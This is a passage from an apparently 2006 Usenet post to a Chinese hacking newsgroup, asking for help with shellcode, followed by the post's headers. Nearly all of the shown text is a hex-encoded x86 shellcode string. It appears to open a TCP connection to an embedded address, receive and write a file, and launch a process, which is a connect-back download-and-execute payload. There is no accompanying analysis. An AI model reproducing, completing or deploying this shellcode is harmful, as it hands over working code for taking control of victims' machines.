"\x81\xC1\x78\x00\x00\x00\x8B\x31\x03\xB3\x8F\x01\x00\x00\x81\xC6"

"\x18\x00\x00\x00\xAD\x89\x83\x93\x01\x00\x00\xAD\x03\x83\x8F\x01"

"\x00\x00\x89\x83\x97\x01\x00\x00\xAD\x03\x83\x8F\x01\x00\x00\x89"

"\x83\x9B\x01\x00\x00\xAD\x03\x83\x8F\x01\x00\x00\x89\x83\x9F\x01"

"\x00\x00\x5D\x5E\x59\x58\xC3\x50\xB8\x00\x04\x00\x00\xE8\x71\x01"

"\x00\x00\x3D\x00\x00\x00\x00\x0F\x84\xEA\xFF\xFF\xFF\x89\x83\x83"

"\x01\x00\x00\x58\x8B\x93\x83\x01\x00\x00\x52\x68\x01\x01\x00\x00"

"\x3E\xFF\x53\x41\x3D\x00\x00\x00\x00\x0F\x85\xE5\xFF\xFF\xFF\x68"

"\x06\x00\x00\x00\x68\x01\x00\x00\x00\x68\x02\x00\x00\x00\x3E\xFF"

"\x53\x45\x3D\xFF\xFF\xFF\xFF\x0F\x84\xE2\xFF\xFF\xFF\x89\x83\xF8"

"\x00\x00\x00\x57\x50\x53\x8D\x93\x7F\x01\x00\x00\xC6\x02\x16\x52"

"\x8D\x93\xFC\x00\x00\x00\x66\xC7\x02\x02\x00\x66\x8B\x7B\x08\x66"

"\x89\x7A\x02\x8B\x7B\x04\x89\x7A\x04\x52\x8B\x83\xF8\x00\x00\x00"

"\x50\x3E\xFF\x53\x49\x3D\x00\x00\x00\x00\x0F\x8C\xC6\xFF\xFF\xFF"

"\x5B\x58\x5F\x50\xB8\x00\x10\x00\x00\xE8\xD5\x00\x00\x00\x3D\x00"

"\x00\x00\x00\x0F\x84\xEA\xFF\xFF\xFF\x89\x83\x60\x01\x00\x00\x58"

"\xE8\x39\x00\x00\x00\xE8\xD8\x00\x00\x00\xE8\x57\x00\x00\x00\xE8"

"\x1F\x01\x00\x00\xC3\x8B\x83\xF8\x00\x00\x00\x50\x3E\xFF\x53\x55"

"\x8B\x83\xAB\x01\x00\x00\x40\x89\x83\xAB\x01\x00\x00\x3D\x05\x00"

"\x00\x00\x0F\x84\x05\x00\x00\x00\xE9\x42\xFF\xFF\xFF\xC3\x68\x00"

"\x00\x00\x00\x68\x04\x00\x00\x00\x8D\x93\x87\x01\x00\x00\x52\x8B"

"\x93\xF8\x00\x00\x00\x52\x3E\xFF\x53\x4D\x3D\x01\x00\x00\x00\x0F"

"\x8C\xB0\xFF\xFF\xFF\xC3\x57\x56\x8B\xBB\x87\x01\x00\x00\x8B\xB3"

"\x8B\x01\x00\x00\x39\xF7\x5E\x5F\x0F\x84\x32\x00\x00\x00\x68\x00"

"\x00\x00\x00\x68\x00\x10\x00\x00\x8B\x93\x60\x01\x00\x00\x52\x8B"

"\x93\xF8\x00\x00\x00\x52\x3E\xFF\x53\x4D\x3D\x01\x00\x00\x00\x0F"

"\x8C\x70\xFF\xFF\xFF\x01\x83\x8B\x01\x00\x00\xE9\x50\x00\x00\x00"

"\xE8\x6E\x00\x00\x00\x50\x8B\x83\xF8\x00\x00\x00\x50\x3E\xFF\x53"

"\x55\x58\xC3\x89\xC7\x50\x3E\xFF\x93\x97\x00\x00\x00\x5F\x50\x57"

"\x68\x00\x00\x00\x00\x50\x3E\xFF\x93\x93\x00\x00\x00\x5F\x5F\x5F"

"\x58\xC3\x8D\x93\x64\x01\x00\x00\x52\x8D\x93\x6C\x01\x00\x00\x52"

"\x3E\xFF\x93\x87\x00\x00\x00\x5F\x5F\x89\x83\x68\x01\x00\x00\xC3"

"\xFF\xB3\x68\x01\x00\x00\x50\x68\x01\x00\x00\x00\x8B\x93\x60\x01"

"\x00\x00\x52\x3E\xFF\x93\x8F\x00\x00\x00\x5F\x5F\x5F\x5F\xE9\x43"

"\xFF\xFF\xFF\x8B\x93\x68\x01\x00\x00\x52\x3E\xFF\x93\x8B\x00\x00"

"\x00\x5F\xC3\x50\x8D\x83\x0C\x01\x00\x00\x50\x8D\x83\x1C\x01\x00"

"\x00\x50\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x28\x00\x00"

"\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00"

"\x8D\x83\x6C\x01\x00\x00\x50\x68\x00\x00\x00\x00\x3E\xFF\x93\xEC"

"\x00\x00\x00\x58\xC3\xE8\xA9\xFF\xFF\xFF\x68\x00\x00\x00\x00\xFF"
        "\x93\xE8\x00\x00\x00\x90";
Technical Details
Message-ID: <1141337022.637579.77120@e56g2000cwe.googlegroups.com>
Path: arc1-ca.pugleaf.net!g2news1.google.com!postnews.google.com!e56g2000cwe.googlegroups.com!not-for-mail

Show Full Headers
Complete Article Headers
X-Google-Thread: 1098a9,e062a12aa78f5184,start
X-Google-Attributes: gid1098a9,public
X-Google-Language: Chinese,GB
Path: arc1-ca.pugleaf.net!g2news1.google.com!postnews.google.com!e56g2000cwe.googlegroups.com!not-for-mail
From: changs@iastate.edu
Newsgroups: cn.comp.hacker
Subject: shellcode问题求助
Date: 2 Mar 2006 14:03:42 -0800
Organization: http://groups.google.com
Lines: 766
Message-ID: <1141337022.637579.77120@e56g2000cwe.googlegroups.com>
NNTP-Posting-Host: 129.186.55.135
Mime-Version: 1.0
Content-Type: text/plain; charset="gb2312"
Content-Transfer-Encoding: quoted-printable
X-Trace: posting.google.com 1141337028 3481 127.0.0.1 (2 Mar 2006 22:03:48 GMT)
X-Complaints-To: groups-abuse@google.com
NNTP-Posting-Date: Thu, 2 Mar 2006 22:03:48 +0000 (UTC)
User-Agent: G2/0.2
X-HTTP-UserAgent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322),gzip(gfe),gzip(gfe)
Complaints-To: groups-abuse@google.com
Injection-Info: e56g2000cwe.googlegroups.com; posting-host=129.186.55.135;
   posting-account=gUUl0Q0AAACkxURgZmii48ufWBBsT5Ba